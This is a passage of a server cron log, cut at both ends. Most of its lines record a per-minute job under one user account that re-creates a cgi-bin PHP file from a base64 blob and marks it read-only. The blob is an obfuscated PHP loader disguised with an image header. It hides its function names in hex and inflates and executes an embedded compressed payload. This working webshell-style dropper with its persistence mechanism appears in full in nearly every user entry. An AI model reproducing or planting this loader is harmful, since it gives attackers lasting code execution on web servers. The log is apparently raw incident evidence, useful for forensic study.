uY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:23:01 server CROND[26016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:24:01 server CROND[26072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:25:01 server CROND[26146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:25:01 server CROND[26147]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 23:25:01 server CROND[26148]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 23:26:01 server CROND[26371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:27:01 server CROND[26433]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 23:27:01 server CROND[26434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:28:01 server CROND[26504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:29:01 server CROND[26557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:30:01 server CROND[26618]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 23:30:01 server CROND[26620]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 23:30:01 server CROND[26619]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 23:30:01 server CROND[26621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:31:01 server CROND[26840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:32:01 server CROND[26936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:33:01 server CROND[26994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:34:01 server CROND[27049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:35:01 server CROND[27130]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 23:35:01 server CROND[27132]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 23:35:01 server CROND[27134]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 23:35:01 server CROND[27136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:35:01 server CROND[27133]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 23:36:01 server CROND[27256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 